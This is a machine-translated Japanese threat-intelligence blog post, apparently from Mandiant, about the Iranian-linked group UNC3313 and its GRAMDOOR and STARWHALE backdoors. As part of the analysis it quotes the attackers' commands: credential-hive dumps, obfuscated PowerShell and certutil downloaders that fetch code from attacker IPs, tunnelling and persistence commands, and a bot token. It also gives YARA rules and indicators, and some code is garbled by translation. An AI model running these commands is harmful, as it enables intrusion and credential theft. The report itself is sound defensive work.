2021 年 11 月、 Mandiant Managed Defenseは、中東政府の顧客に対するUNC3313の侵入を検出し、対応しました。調査中に、Mandiant は、単純なバックドア機能を実装する新しい標的型マルウェア、 GRAMDOORおよびSTARWHALEを特定しました。また、UNC3313 が公開されているリモート アクセス ソフトウェアを使用して、環境へのアクセスを維持していることも確認しました。 UNC3313 は当初、標的型フィッシング メールを介してこの組織へのアクセスを取得し、変更されたオープンソースの攻撃的なセキュリティ ツールを利用して、アクセス可能なシステムを特定し、横方向に移動しました。 UNC3313 は、最初の侵害から 1 時間以内に ScreenConnect を使用してシステムに侵入し、リモート アクセスを確立するために迅速に動きました。 Mandiant Managed Defense とお客様のセキュリティ チームの迅速な調整により、インシデントは迅速に封じ込められ、修復されました。
Mandiant は、UNC3313 が監視を実施し、イランの利益と意思決定を支援するための戦略的情報を収集していることを、ある程度の自信を持って評価しています。ターゲティング パターンと関連するルアーは、地政学的なつながりを持つターゲットに重点を置いていることを示しています。
このブログ投稿では、UNC3313 によって実行された侵入の詳細と、調査中に特定されたマルウェアおよび公開されているツールについて説明します。
帰属
Mandiant は、ラベル「UNC」グループ (または「未分類」グループ) を使用して、攻撃者のインフラストラクチャ、ツール、トレード クラフトなどの観察可能なアーティファクトを含む侵入活動のクラスターを指します。 APT、または FIN ( Mandiant が未分類の攻撃者を追跡する方法の詳細をご覧ください)。 Mandiant は、現時点で入手可能な情報に基づいて、UNC3313 がTEMP.Zagros (オープン ソースでは MuddyWater として報告されている) に関連付けられていると中程度の確信を持って評価しています。 TEMP.Zagros は、スピア フィッシング操作でPOWERSTATS 、 POWGOOP 、 MORIAGENTなどのマルウェアを使用して、何年にもわたってツールキットを一貫して更新してきました。このグループが最初の侵害に ScreenConnect を使用したことは、 オープン ソースで十分に文書化されています。
特に、2022 年 1 月 12 日、米国政府は TEMP.Zagros をイラン情報安全保障省 (MOIS) の下位組織であると見なしていると公言し、少なくとも 2020 年以降、同グループが使用しているマルウェア ファミリ (POWGOOP および MORIAGENT) のサンプルを公開しました。 2020年。
ターゲティング
2021 年後半、Mandiant は、GRAMDOOR と STARWHALE を使用して中東の政府機関とテクノロジー企業を標的とする UNC3313 キャンペーンを特定しました。 TEMP.Zagros はこれまで、政府、防衛、電気通信、エネルギー、金融など、中東、中央および南アジア全体のこれらの地域とセクターを標的にしてきました。ターゲット パターンと関連するルアーは、地政学的なつながりを持つターゲットと中東の電気通信セクターに重点を置いていることを示しています。
観測されたマルウェア
Mandiant は、UNC3313 が次のマルウェア ファミリを展開していることを確認しました。
マルウェアファミリー |
説明 |
GRAMDOOR は Python で記述されたバックドアで、Telegram Bot API を使用して HTTP 経由で Telegram サーバーと通信します。サポートされているコマンドには、cmd.exe によるコマンド実行が含まれます。 |
|
STARWHALE は、HTTP 経由で通信する Windows Script File (WSF) バックドアです。サポートされているコマンドには、シェル コマンドの実行とシステム情報の収集が含まれます。 |
|
STARWHALE.GO は、HTTP 経由で通信する GO プログラミング言語で書かれたバックドアです。バックドアは、シェル コマンドを実行し、ローカル IP アドレス、コンピューター名、ユーザー名などのシステム情報を収集できます。 |
|
CRACKMAPEXEC |
CRACKMAPEXEC は、大規模な Active Directory ネットワークのセキュリティ評価を自動化するのに役立つ、悪用後のツールです。 |
展望と影響
コマンド アンド コントロールに Telegram API を使用すると、悪意のあるトラフィックが正当なユーザーの行動に紛れる可能性があります。 Mandiant は、正規のリモート アクセス ソフトウェア、LIGOLO や CrackMapExec などの一般に公開されているツール、および多層エンコーディング ルーチンの使用と組み合わせて、これが TEMP.Zagros の検出およびセキュリティ機能を回避しようとする試みを反映していると考えています。一方、米国政府が最近、「MuddyWater」をイラン情報安全保障省に帰属させたことが、このグループの活動にどのように影響するかは不明です。グループが、追加の作戦を実施する前に、戦術、技術、および手順を再調整し、変更する可能性があります。
UNC3313 攻撃のライフサイクル
足場を固める
UNC3313 は当初、複数のシステムを侵害するスピア フィッシング攻撃を通じて顧客の環境へのアクセスを取得しました。フィッシング メールは、就職活動のルアーを使って作成され、複数の被害者をだまして URL をクリックさせ、クラウド ストレージ サービスの OneHub でホストされている RAR アーカイブ ファイルをダウンロードさせました。このパターンは、 AnomaliとTrend Microによるオープンソース レポートの観察結果と一致しています。
RAR アーカイブには、足場を確立するために ScreenConnect リモート アクセス ソフトウェアをインストールする Windows インストーラー .msi ファイルが含まれていました。図 1は、Windows アプリケーション ログに記録された、performance.msi の実行に関する Windows インストーラー トランザクション イベントを示しています。
ログ: アプリケーション ソース: MsiInstaller EID: 1040 メッセージ: Windows インストーラー トランザクションを開始しています: C:Users<redacted>AppDataLocalTempRar$EXb7468.17680performance.msi-++-748-++-(NULL)-++-(NULL )-++-(NULL)-++-(NULL)-++–++-。クライアント プロセス ID: 0。 |
前述のとおり、UNC3313 は迅速に動き、ScreenConnect を介してリモート アクセスを確立し、最初の侵害から 1 時間以内にシステムに侵入しました。 ScreenConnect は、単一の CLI コマンドをクライアントに発行する機能、またはBackstage Modeを使用して完全なターミナルを開く機能を提供します。 Mandiant は、親プロセス ScreenConnect.ClientService.exe による cmd.exe および powershell.exe を使用したコマンド実行を観察しました。
ログ: アプリケーション ソース: ScreenConnect クライアント (f494f7a48b0cd497) EID: 0 メッセージ: クラウド アカウント管理者が接続されました-++- ログ: アプリケーション ソース: ScreenConnect クライアント (f494f7a48b0cd497) EID: 0 メッセージ: クラウド アカウント管理者が切断されました-++- ログ: アプリケーション ソース: ScreenConnect クライアント (f494f7a48b0cd497) EID: 0 メッセージ: 実行されたコマンドの長さ: 13-++- |
ScreenConnect.ClientService.exe プロセスがアクティブに実行されている場合、instance-<6 文字の英数字 ID>-relay.screenconnect.com で ScreenConnect リレー サービスの DNS ルックアップを実行しました。 Mandiant は、ScreenConnect.WindowsClient.exe プロセスが最初に感染したホストに追加の攻撃ツールを書き込むことを観察しました。これは、ファイルがアクティブな ScreenConnect セッションを通じてコピーされたことを示しています。
ファイル書き込みイベント フル パス: C:ProgramDataligo64.exe サイズ: 3474432 MD5: 7fefce7f2e4088ce396fd146a7951871 プロセス: ScreenConnect.WindowsClient.exe プロセス パス: C:Program Files (x86)ScreenConnect Client (f494f7a48b0cd497) 親プロセスのパス: C:Program Files (x86)ScreenConnect Client (f494f7a48b0cd497)ScreenConnect.ClientService.exe |
権限の昇格
Mandiant は、UNC3313 が正規の Windows ユーティリティを使用して、一般的な認証情報ダンプ技術を使用していることを確認しました。 UNC3313 は、オープンソースのWMIEXEC.PY攻撃フレームワークを利用して reg コマンドを実行し、ローカルの SAM、SYSTEM、および SECURITY Windows レジストリ ハイブのコピーをエクスポートします。 WMIEXEC.PY は、WMI (Windows Management Instrumentation) を介して、リモート システム (ターゲット システムで管理者権限と DCOM ポートにアクセスできる) での簡単なコマンド呼び出しを可能にします。
cmd.exe /Q /c reg save HKLMSAM C:userspublicsam 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1 cmd.exe /Q /c reg save HKLMSYSTEM C:userspublicsystem 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1 cmd.exe /Q /c reg save HKLMSECURITY C:userspublicsecurity 1> 127.0.0.1ADMIN$__1637143994.2306612 2>&1 |
UNC3313 は、Task Manager アプリケーションを使用して、lsass.exe のプロセス メモリをダンプしました (図 5に示すように、プロセス Taskmgr.exe がファイル lsass.dmp を書き込んだとき)。
ファイル書き込みイベント フルパス: C:Users<redacted>AppDataLocalTemplsass.DMP サイズ: 59378917 プロセス: Taskmgr.exe プロセス パス: C:WindowsSystem32 親プロセスのパス: C:Windowsexplorer.exe |
内部偵察と横移動
Mandiant は、UNC3313 が公開されている攻撃的なセキュリティ ツールを利用して、リモート コマンドの実行、内部偵察、ネットワーク トンネリング、横方向の移動を実行していることを確認しました。 UNC3313 は、Pyinstaller でコンパイルされたオープンソースの侵入テスト ツール CrackMapExec v3.0 (CRACKMAPEXEC) のわずかに変更されたバージョンを使用して、システムの列挙とユーザー アカウントの偵察を実行し、ターゲット システムでリモート コマンドを実行しました。攻撃者が使用した aa.exe という名前の CRACKMAPEXEC の修正版には、ツールの説明が削除され、ユーティリティ setup_database.py からのデータベース セットアップ コードが含まれており、余分なインストール手順が回避されていました (図 6)。
UNC3313 は、図 7と図 8に示すコマンドを使用して、CRACKMAPEXEC で初期偵察とアカウント アクセス テストを実行しました。 CRACKMAPEXEC によって収集された資格情報とホスト情報は、ローカル データベース ファイル cme.db に格納されていました。
aa.exe 10.20.11.1/24 |
aa.exe 10.20.11.1/24 -u <ローカル管理者> -p <パスワード> –local-auth |
UNC3313 は、CRACKMAPEXEC を使用して Windows ユーティリティ certutil を実行し、難読化された PowerShell コマンドを実行して、リモート システムに追加のツールとペイロードをダウンロードしました。
aa.exe 10.20.11.11 -u <ローカル管理者> -p <パスワード> –local-auth -x “powershell -exec bypass “関数デコード($txt,$key){$enByte = [System.Convert]::FromBase64String($txt);for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]::UTF8.GetString($enByte);return $dtxt;};IEX (デコード ‘J3QjPiNYUHpwd2ZuLU1mdy1Ld3dzVGZhUWZydmZwd145OUBxZmJ3Ziska3d3czksLDc2LTI3M S0xMjetNTI5OzMsZGZGcVNrdzVgWWgwZXJkMzNlS0xtaWA6SDJbW2FvQVskKjgndC1zcWx7ei M+I1hNZnctVGZhUWZydmZwd145OURmd1B6cHdmblRmYVNxbHt6Kyo4J0Z7ZmB2d2psbUBs bXdme3ctSm11bGhmQGxubmJtZy1KbXVsaGZQYHFqc3crK01mdC5MYWlmYHcjUHpwd2ZuLU pMLVB3cWZiblFmYmdmcSsndC1EZndRZnBzbG1wZisqLURmd1FmcHNsbXBmUHdxZmJuKyoqK i1RZmJnV2xGbWcrKio4′ 3);” |
難読化された PowerShell ダウンローダは、base64 エンコーディングと単純な XOR 暗号化を使用して、図 10に示す一般的なコマンド構文にデコードしました。
$w = [System.Net.HttpWebRequest]::Create(‘http[:]// 45.142.212[.]61:80/geErPht6cZk3fqg00fHOnjc9K1XXblBX’); $w.proxy = [Net.WebRequest]::GetSystemWebProxy(); $ExecutionContext.InvokeCommand.InvokeScript((New-Object System.IO.StreamReader($w.GetResponse().GetResponseStream())).ReadToEnd()); |
UNC3313 は、マルチプラットフォームのLIGOLO トンネラーユーティリティを使用して、お客様の環境へのトンネル アクセスを確立しました。 LIGOLO は、GO で記述されたオープンソースの暗号化されたリバース SOCKS5 または TCP トンネラーです。 LIGOLO ユーティリティは、コマンドライン引数「-s3」を使用して実行され、文書化された引数「-relayserver」の代わりにリレー サーバーを指定しました。これは、GitHub リポジトリからダウンロードした元のコードの変更を示しています。
aa.exe 10.20.11.11 -u <ローカル管理者> -p <パスワード> –local-auth -x “certutil.exe -urlcache -split -f http[:]//95.181.161[.]81:443/ l.exe C:programdatal.exe” |
c:programdataligo64.exe -s3 95.181.161[.]81:5555 |
Mandiant は、LIGOLO を使用してトンネリングされた RDP 接続を介して UNC3313 によってアクセスされたシステムの Windows ログオン イベントで、ホスト名 DESKTOP-5EN5P2I を観察しました。
ログ: セキュリティ EID: 4624 ネットワーク情報: ワークステーション名: DESKTOP-5EN5P2I ソース ネットワーク アドレス: – ソース ポート: – ログ: Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational EID: 1149 ユーザー: <ローカル管理者> ドメイン: デスクトップ-5EN5P2I ソース ネットワーク アドレス: 10.20.11.14 |
永続性を維持する
Mandiant は、UNC3313 によって使用された STARWHALE という名前の新しいマルウェア ファミリを特定しました。 STARWHALE は、コマンド アンド コントロール (C2) サーバーから HTTP 経由でコマンドを受信し、それらのコマンドを Windows cmd.exe 経由で実行する Windows スクリプト ファイル バックドアです。感染したシステムでは、図 14 に示すように、STARWHALE がコマンドライン引数を使用して実行されていることが観察されました。
cmd.exe /c cscript.exe c:windowssystem32w7_1.wsf humpback__whale |
コマンド ライン引数 “humpback__whale ” は、VBScript 関数 GetRef を使用して実行時に関数を動的に解決するためにコードで使用されます。 STARWHALE には永続化メカニズムが含まれていないため、図 16 に示すようにサービスが作成されます。
sc create Windowscarpstss binpath= “cmd.exe /c cscript.exe c:windowssystem32w7_1.wsf humpback__whale” start= “auto” obj= “LocalSystem” |
STARWHALE は、マルウェアにハードコードされている C2 サーバーと通信します。マルウェアは、最初の実行時に、ローカル IP アドレス、コンピューター名、ユーザー名などの基本的なユーザーおよびシステム情報を収集します。次に、図 17 に示すように、情報を C2 IP アドレスに送信する前に、カスタム エンコード スキームを使用してこの情報をエンコードします。
POST /jznkmustntblvmdvgcwbvqb HTTP/1.1 接続: キープアライブ コンテンツタイプ: application/x-www-form-urlencoded;文字セット=UTF-8 承認: */* Accept-Language: en-us ユーザーエージェント: Mozilla/4.0 (互換; Win32; WinHttp.WinHttpRequest.5) 文字セット: UTF-8 コンテンツの長さ: 69 ホスト: 5.199.133[.]149 vl=27732737231435E335F4239537109C22531327535C22D1327235E46253E2215613 |
図 17 に示すように、POST 要求パラメーター「vl=」を介して渡された 16 進数値は、次のシステム列挙情報にデコードされ、パイプで結合され、区切り記号で区切られます。
<IPアドレス>|デリミタ|<ホスト名><ユーザー名
観察されたサンプルの区切り文字は「|!)!)!|」でした。次に、C2 サーバーが同じスキームを使用してエンコードされた文字列値を返すことを期待します。この文字列値は、その後のすべての POST 要求に含まれます。 STARWHALE の最初のリクエストが成功すると、HTTP POST リクエストを介してループ内でセッション キーを hxxp://5.199.133[.]149/oeajgyxyxclqmfqayv にある C2 サーバーに送信し始めます。図 18 に示すように、C2 サーバーは、cmd.exe を介して実行されることを意図したコマンドで応答します。
cmd.exe /c <コマンド> >> %temp%stari.txt. |
コマンドの出力は、「stari.txt」というファイルに書き込まれます。次に、カスタム スキームを使用して出力をエンコードし、次の POST リクエストで C2 サーバーに送り返します。構造は、図 19 に示されているものと似ています。
<c2_session_key>|!)!)!|<command_output> |
コマンドが失敗すると、エンコードされた文字列「SoRRy」が C2 に送信されます。特に、STARWHALE の初期のイテレーションで、Mandiant は文字列「sory」を使用してそれを観察しました [sic]。セキュリティ研究者が公開フォーラムで文字列をハイライトした後、攻撃者はスペルミスを修正しました。 Mandiant は、イランの攻撃者による他のキャンペーンで同様のスペルミスを確認しました。
侵入中、Mandiant は攻撃者が、STARWHALE と多くの点で類似した設計をしているが Golang で記述されたマルウェアを展開していることも確認しました。 Mandiant は、このコード ファミリーを STARWHALE.GO と呼んでいます。これは、図 20 に示すように、certuil.exe ユーティリティを使用してシステムにダウンロードされます。
certutil.exe -urlcache -split -f hxxp://95.181.161[.]81:443/per_indexx.exe |
STARWHALE.GO は、Nullsoft Scriptable Install System (NSIS) インストーラーの一部として届きます。このインストーラーは、OutlookM というディレクトリにインストールし、Windows レジストリに Run キーを作成してシステム上で永続化します。実行時に、Golang バイナリをドロップして実行します。
InstType $(LSTR_37) ;カスタム インストールディレクトリ $LOCALAPPDATAOutlookM ; install_directory_auto_append = OutlookM ; wininit = $WINDIRwininit.ini ; ——————– ;セクション: 1 ;コマンド: 6 セクション ; Section_0 ;追加サイズ 4744 ディレクトリの作成 $INSTDIR SetOutPath $INSTDIR ファイル index.exe Exec $INSTDIRindex.exe WriteRegStr HKCU SOFTWAREMicrosoftWindowsCurrentVersionRun OutlookM $INSTDIRindex.exe セクション終了 |
NSIS 実行可能ファイルを実行すると、次のレジストリ キーが作成されます。
キー: HKCUSOFTWAREMicrosoftWindowsCurrentVersionRunOutlookM 値: C:Users<redacted>AppDataLocalOutlookMindex.exe |
また、STARWHALE.GO はカスタム データ エンコーディング アルゴリズムを使用して、ネットワーク通信とバイナリ内の重要な文字列を保護します。 STARWHALE と同じ情報を送信しますが、送受信されるデータは JSON オブジェクトです。サンプルの HTTP POST 要求を図 23 に示します。
POST /nnskfepmasiiohvijcdpxtxzjv HTTP/1.1 ホスト: 87.236.212[.]184 ユーザーエージェント: Go-http-client/1.1 コンテンツの長さ: 91 コンテンツ タイプ: アプリケーション/json Accept-Encoding: gzip {“vl”:”2179526e3176587ec7557e4192495c46264556569c47693e8d39415432445722222733323323332333″} |
STARWHALE.GO は別の区切り文字「|&&%&&|」を使用します。 STARWHALE よりも異なりますが、ハードコードされた C2 IP アドレスに送信される残りの列挙された情報は同じです。同様に、マルウェアは C2 サーバーへの POST リクエストからの応答を読み取り、送信したデータのエンコードに使用したものと同じカスタム文字列変換ルーチンを使用してデコードを試みます。このルーチンは、後で説明するように、STARWHALE で使用されるルーチンよりも単純です。デコードされた結果は、プロセス「cmd.exe /c」を使用してコマンド ラインとして起動されるか、文字列が .com、.exe、.bat、または .cmd で終わる場合はプロセスとして直接起動されます。起動されたプロセスの出力、または文字列のデコードに失敗した場合のエラー メッセージは、hxxp://87.236.212[.]184/cepopggawztuxkxujfjbnpv にある C2 サーバーへの HTTP POST リクエストを介して C2 サーバーに送信されます。
Mandiant は調査中に、Python 3.9 でコンパイルされ、PyInstaller を介してパッケージ化された、Windows 8 以降でのみ実行される 3 つ目の UNC3313 バックドアを特定しました。 Mandiant は、通信に Telegram Bot API を使用できることから、このバックドアを GRAMDOOR と名付けました。攻撃者が作成した Telegram チャット ルームからメッセージを送受信します。図 24 に示すように、GRAMDOOR は NSIS インストーラーとしてパッケージ化されたシステムに到着します。
キー: HKEY_USERS.DEFAULTSoftwareMicrosoftWindowsCurrentVersionRunOutlookMicrosift 値: C:Users<redacted>AppDataRoamingOutlookMicrosiftindex.exe” Platypus |
GRAMDOOR 用の NSIS インストーラーは、OutlookMicrosift という名前のサブディレクトリ内の APPDATA ディレクトリに、PyInstaller パッケージ化されたバイナリをドロップします。これは、図 25 に示すように、インストール ディレクトリから Exec コマンドを使用して実行されます。
InstType $(LSTR_37) ;カスタム InstallDir $APPDATAOutlookMicrosift ; install_directory_auto_append = OutlookMicrosift ; wininit = $WINDIRwininit.ini ; ——————– ;セクション: 1 ;コマンド: 6 セクション ; Section_0 ;追加サイズ 16859 ディレクトリの作成 $INSTDIR SetOutPath $INSTDIR ファイル index.exe Exec “$INSTDIRindex.exe Platypus” WriteRegStr HKCU SOFTWAREMicrosoftWindowsCurrentVersionRun OutlookMicrosift “$”$INSTDIRindex.exe$” Platypus” セクション終了 |
GRAMDOOR は、1 つのコマンドライン パラメータ (この場合は「Platypus」) で起動されることを想定しています。このコマンドライン パラメータを使用して関数名をつなぎ合わせます。関数名が呼び出され、マルウェアへのエントリ ポイントとして機能します。 GRAMDOOR が実装するコマンドは、start と com の 2 つだけです。これらのコマンドは、コマンドがパイプされる cmd.exe プロセスを起動するために使用されます。すべてのネットワーク通信は、api.telegram[.]org の Telegram サーバーを介して行われます。これにより、攻撃者は通信を通常の Telegram トラフィックに偽装することができます。この手法は目新しいものではなく、イランの攻撃者が公開されているソフトウェアを悪用して C2 トラフィックを混入させたのはこれが初めてではありません。
マルウェアから Telegram サーバーへのすべての HTTP リクエストには、トークン文字列 2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY が含まれていました。トークン文字列は、ボットに対する認証に使用されます。図 26 にサンプル リクエストを示します。
hxxps://api.telegram[.]org/bot2003026094:AAGoitvpcx3SFZ2_6YzIs4La_kyDF1PbXrY/sendMessage?chat_id=<chat_id>&parse_mode=Markdown&text=<コンテンツ> |
マルウェアは sendMessage API 関数を使用して、チャット ID 番号に情報を送信します。アクターは、コマンドを発行し、実行されたコマンドの出力をチャットに送り返すことで、チャットを介してホストと対話します。たとえば、感染したホストからネットワーク構成情報を取得するために、攻撃者はコマンド「com<id> c607666261766066f9f23ec696」を発行します。ここで、値「c607666261766066f9f23ec696」は「ipconfig /all」コマンドに変換されます。
STARWHALE と GRAMDOOR は、C2 との間で送受信されるデータとコマンドに使用されるカスタム エンコーディング スキームのロジックが類似しています。次のコード スニペットは、STARWHALE のトラフィックのエンコードとデコード、および Telegram チャット メッセージ間でやり取りされる GRAMDOOR のコマンドを示しています。
def transform_chars(データ): データ = リスト (データ) ソース = 0 dst = len(データ) – 1 一方、src < dst: t = データ[ソース] データ[src] = データ[dst] データ[dst] = t ソース += 3 dst -= 2 return ”.join(データ) デフdecode_traffic (データ): 戻り値 bytes.fromhex(transform_chars(transform_chars(data)[::-1])).decode(‘utf’) def encode_traffic (データ): return transform_chars(transform_chars(data.encode(‘utf’).hex())[::-1]) |
また、GRAMDOOR は、独自の XOR ベースの暗号化スキームを使用して、機密性の高い文字列をコード内に隠しています。次のサンプル コードは、前述のスキームのロジックを示しています。
def xor_transform(データ): key = ‘`qLd’ + str(5) + ‘Hm^yw/sG-qh&@~y|[dJmC’ + str(6) + ‘UFvNt-^^_FeSd’ + str(4) + ‘N*# GNophwQ-MCJ’ + str(1) + ‘?>L73PY’ return ”.join((lambda .0: [ chr(ord(c1) ^ ord(c2)) for c1, c2 in .0 ])(zip(data, key)))
def encode_str(データ): base64.b64encode(xor_transform(data).encode()) を返す
デフdecode_str(データ): return xor_transform(base64.b64decode(data).decode()) |
Mandiant はまた、UNC3313 がレジストリ キーに PowerShell ダウンローダ コマンドを格納していることを確認しました。これらのコマンドは、ユーザーのログオン時にトリガーされる「Oracle スケジュール アシスタントの自動更新」という名前のスケジュールされたタスクによって参照されました。
パス: HKEY_LOCAL_MACHINESOFTWAREWow6432NodeOraclePre タイプ: REG_SZ 値の名前: 前 テキスト: IEX |
パス: HKEY_LOCAL_MACHINESOFTWAREWow6432NodeOraclePost タイプ: REG_SZ 値の名前: 投稿 テキスト: function decode($txt,$key){$enByte = [System.Convert]::FromBase64String($txt); for($i=0; $i -lt $enByte.count ; $i++){$enByte[$i] = $enByte[$i] -bxor $key;}$dtxt = [System.Text.Encoding]: :UTF8.GetString($enByte);return $dtxt;}while($true){try{$o=[System.Net.HttpWebRequest]::Create(‘http[:]//87.236.212[.]6 :80/esZ8389bp2LFqRLI’); $o.proxy = [Net.WebRequest]::GetSystemWebProxy();$ExecutionContext.InvokeCommand.InvokeScript((decode (New-Object System.IO.StreamReader($o.GetResponse().GetResponseStream()))).ReadToEnd( ) 3));}catch{}Start-Sleep -Seconds 40;} |
最後に、Mandiant は UNC3313 がベンダーの Web サイトから eHorus リモート アクセス ツールの Windows インストーラー ファイルをダウンロードして実行することを確認しました。 UNC3313 は、ファイル ehorus_installer_windows-1.1.3-x64_en-US.msi を実行し、EHORUSAGENT という名前のサービスを作成しました。 eHorus エージェント プロセス ehorus_agent.exe は、ehorus[.]com でホストされているドメインと通信します。
ログ: システム ソース: サービス コントロール マネージャー EID: 7045 サービス名: eHorus エージェント ランチャー サービスファイル名: "C:Program Filesehorus_agentehorus_launcher.exe" -s |
eHorus は、スペインを拠点とするPandora FMSによって商業的に宣伝されている正規のリモート アクセス ツールです。 eHorus は最近、 シマンテックが、中東およびアジアの電気通信組織に対する同様のキャンペーンで、イランの脅威アクターによって悪用されていると報告されています。
Mandiant の標的型攻撃のライフサイクル
Mandiant の標的型攻撃のライフサイクルについて詳しくは、こちらをご覧ください。
MITRE ATT&CK テクニック
Mandiant のセキュリティ検証アクション
組織は、Mandiant Security Validation で次のアクションを使用して、セキュリティ コントロールを検証できます。
VID |
名前 |
A102-562 |
コマンド アンド コントロール – GRAMDOOR、DNS クエリ、バリアント #1 |
A102-563 |
悪意のあるファイル転送 – GRAMDOOR、ダウンロード、亜種 #1 |
A102-564 |
悪意のあるファイル転送 – GRAMDOOR、ダウンロード、亜種 #2 |
A102-565 |
悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #1 |
A102-566 |
悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #2 |
A102-567 |
悪意のあるファイル転送 – STARWHALE、ダウンロード、亜種 #3 |
A102-568 |
悪意のあるファイル転送 – STARWHALE.GO、ダウンロード、亜種 #1 |
A104-975 |
保護された劇場 – GRAMDOOR、実行、バリアント #1 |
A104-976 |
保護された劇場 – STARWHALE、実行、バリアント #1 |
A104-977 |
ホスト CLI – GRAMDOOR、レジストリの永続性、バリアント #1 |
A104-978 |
ホスト CLI – STARWHALE、サービスの持続性、バリアント #1 |
子供のルール
ルール M_Hunting_Backdoor_STARWHALE_1 { メタ: 著者=「マンディアント」 description = “STARWHALE サンプルの文字列を検出します” md5 = ” cb84c6b5816504c993c33360aeec4705 “ 回転 = 1 文字列: $s1 = “JSCript” ascii nocase wide $s2 = “VBSCript” ascii nocase wide $s3 = “WScript.Shell” ascii nocase wide $s4 = “ok” ascii nocase wide $s5 = “いいえ” ascii nocase wide $s6 = “stari.txt” ascii nocase wide $s7 = “SoRRy” ascii ワイド $s8 = “EMIP” ascii ワイド $s9 = “NIp” ascii ワイド $s10 = “401” ASCII ワイド $s11 = “_!#” ASCII ワイド $s12 = “/!&^^&!/” アスキー ワイド $s13 = “|!)!)!|”アスキーワイド $s14 = “|#@*@#|”アスキーワイド $s15 = “/!*##*!/” ASCII ワイド $s16 = “sory” ascii nocase wide 調子: ファイルサイズ > 5KB およびファイルサイズ < 5MB および 10 個の ($s*) } |
ルールM_Hunting_Backdoor_STARWHALE_GO_1 { メタ: 著者=「マンディアント」 description = “STARWHALE.GO の文字列を検出します” 文字列: 調子: } |
侵害の痕跡
タイプ |
価値 |
説明 |
MD5 |
7c3564cd166822be4932986cb8158409 |
CrackMapExec |
MD5 |
7fefce7f2e4088ce396fd146a7951871 |
リゴロ |
MD5 |
5763530f25ed0ec08fb26a30c04009f1 |
グラムドア |
MD5 |
15fa3b32539d7453a9a85958b77d4c95 |
グラムドア |
MD5 |
cb84c6b5816504c993c33360aeec4705 |
スタークジラ |
MD5 |
c8ff058db87f443c0b85a286a5d4029e |
スクリーンコネクト |
知財 |
88.119.175[.]112 |
リゴロ C&C |
知財 |
95.181.161[.]50 |
リゴロ C&C |
知財 |
45.153.231[.]104 |
リゴロ C&C |
知財 |
95.181.16[.]81 |
マルウェア/ツールのホスティング |
知財 |
5.199.133[.]149 |
スターホエール C&C |
知財 |
45.142.213[.]17 |
スターホエール C&C |
知財 |
87.236.212[.]184 |
STARWHALE.GO C&C |
謝辞
このブログ投稿で説明したマルウェアのリバース エンジニアリングを支援してくれた Mike Hunoff、Nick Harbour、Muhammad Umair に、またマルウェア ファミリの検出を作成してくれた Adrien Bataille と Ervin James Ocampo に特に感謝します。さらに、Dan Andreiana、Alexander Pennino、Nick Richards、Jake Nicastro、Sarah Jones、Geoff Ackerman の技術レビューと貴重なフィードバックの提供に感謝します。
参照: https://www.mandiant.com/resources/blog/telegram-malware-iranian-espionage
Comments